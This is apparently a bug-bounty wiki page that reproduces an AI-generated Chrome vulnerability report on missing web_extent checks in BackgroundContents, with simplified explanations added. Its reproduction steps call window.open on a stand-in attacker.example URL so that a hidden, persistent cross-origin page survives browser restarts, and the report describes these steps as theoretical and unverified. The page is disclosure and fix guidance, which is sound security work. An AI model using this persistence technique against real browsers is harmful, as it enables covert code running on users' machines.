Missing authorization in Browser (CVE-2026-87560)
A logic flaw in BackgroundContents allows hosted apps with the 'background' permission to navigate to and persist arbitrary cross-origin URLs. An attacker could use this to silently run code from an arbitrary web origin in the background indefinitely.
Google Chrome
Originally disclosed on Chrome VRP
- Fix shipped in 4 months
Project Fortify, an experimental security project, has identified the following potential security issue. If you're a feature owner CC-ed on this bug, please do your best to review these reports without the Chrome Security team. Please see https://chromium.googlesource.com/chromium/src/+/main/docs/security/ai-generated-security-bugs-faq.md for more information.
Overview: A logic flaw in BackgroundContents allows hosted apps with the 'background' permission to navigate to and persist arbitrary cross-origin URLs. Because browser-side checks do not validate the navigation target against the app's web_extent, the cross-origin URL is saved to user preferences and silently reloaded in the background on browser restarts.
Affected files:
chrome/browser/background/background_contents_service.ccchrome/browser/ui/browser.ccchrome/browser/background/background_contents.ccchrome/browser/chrome_content_browser_client.cc
Estimated timestamp from git blame: 2026-04-29
Background
Hosted apps with the background permission can create an invisible BackgroundContents window (e.g., via window.open(url, 'name', 'background')). By design, navigations within this window are supposed to be restricted to the URLs defined in the app's web_extent. A legacy comment in chrome/browser/background/background_contents.cc indicates this was previously enforced by renderer-side logic (RenderView::decidePolicyForNavigation). However, that renderer-side check has been removed, and no corresponding browser-side validation (such as a NavigationThrottle or an explicit check during persistence) was implemented to replace it.
Vulnerability Details
An attacker can exploit this missing validation to achieve stealthy cross-origin persistence:
- Missing Navigation Restrictions: When a hosted app calls
window.open(target_url, 'name', 'background'),ChromeContentBrowserClient::CanCreateWindowverifies the opener has thebackgroundpermission but does not check iftarget_urlis within the app'sweb_extent. The browser returns a newWebContentsto the renderer, allowing the renderer to initiate the cross-origin navigation. - Unverified Persistence: When the cross-origin navigation successfully commits,
BackgroundContents::PrimaryPageChangednotifiesBackgroundContentsService. The service callsRegisterBackgroundContents, which extracts the currently committed URL and saves it to the user'sPreferencesfile underprefs::kRegisteredBackgroundContents. It performs no validation to ensure the URL belongs to the app. - Automatic Reload on Restart: Upon restarting the browser,
BackgroundContentsServicereads the cross-origin URL fromPreferencesand automatically initiates a browser-initiated navigation to load it in an invisible background window.
This flaw allows an attacker (via a malicious hosted app or XSS in a legitimate one) to silently run code from an arbitrary web origin in the background indefinitely.
Note: Highly privileged URLs (like chrome://) cannot be targeted due to standard FilterURL and renderer-initiated navigation blocking mechanisms. The impact is limited to standard web origins running in site-isolated processes.
Potential Reproduction Steps
Please note these are theoretical steps based on source code analysis, as our tooling agent cannot execute code to verify them.
- Install a hosted app with the
backgroundpermission and a definedweb_extent(e.g.,https://app.example/). - Navigate to a page within the app's extent.
- Execute
window.open('https://attacker.example/malicious.html', 'bg', 'background')from the app page. - Observe that an invisible
BackgroundContentsis created and loads the cross-origin URL. - The URL is written to
Preferences(prefs::kRegisteredBackgroundContents). - Restart Chrome. The browser will automatically reload
https://attacker.example/malicious.htmlin the background.
Suggested Fix
- Enforce Navigation Limits: Introduce a
NavigationThrottlespecifically forBackgroundContents(or updateExtensionNavigationThrottle) to block navigations to URLs outside the hosted app'sweb_extent. - Sanitize Persistence: Update
BackgroundContentsService::OnBackgroundContentsNavigatedorRegisterBackgroundContentsto explicitly verify thatbackground_contents->GetURL()is within the extension'sweb_extentbefore saving it toPreferences.
Evaluated with Chrome root at commit: eca8648a4e1cdfdda68c495a6003059fed641955
Results so far have been promising, but there can be wrong deductions. If this proves to be a false positive, please close as WAI; data from false positives will be used to improve accuracy over time. And please feel free to reach out to me directly if you have concerns or feedback on the project.
Raised in root component due to access or custom field issues on 1457154
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the removal of a renderer-side navigation check without adding a browser-side validation to ensure BackgroundContents navigations stay within the app's web_extent.
Impact
An attacker could silently run code from an arbitrary web origin in the background indefinitely, though highly privileged URLs cannot be targeted and the impact is limited to standard web origins in site-isolated processes.
What the attacker needed
Install a hosted app with background permission; app has a defined web_extent; attacker controls a web origin
The fix
It should be fixed by adding a NavigationThrottle for BackgroundContents and validating the URL against the app's web_extent before saving it to Preferences.
How it was found
- Install a hosted app with the background permission and a defined web_extent.
- Navigate to a page within the app's extent.
- Execute window.open with the background feature from the app page.
- Observe that an invisible BackgroundContents is created and loads the cross-origin URL.
- The URL is written to Preferences.
- Restart Chrome and the browser automatically reloads the cross-origin URL in the background.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
A hosted app is a website that can be installed like a program. It can ask for a 'background' permission to keep a hidden window open. The bug is that the browser does not check whether the hidden window stays on the app's own website, so it can be tricked into loading and saving a different website that then runs every time the browser starts.
What is Access control?
A user can do something their role should not allow: reach an admin function, act on a feature they have not paid for, or skip a permission check. IDOR is the special case where the object belongs to someone else.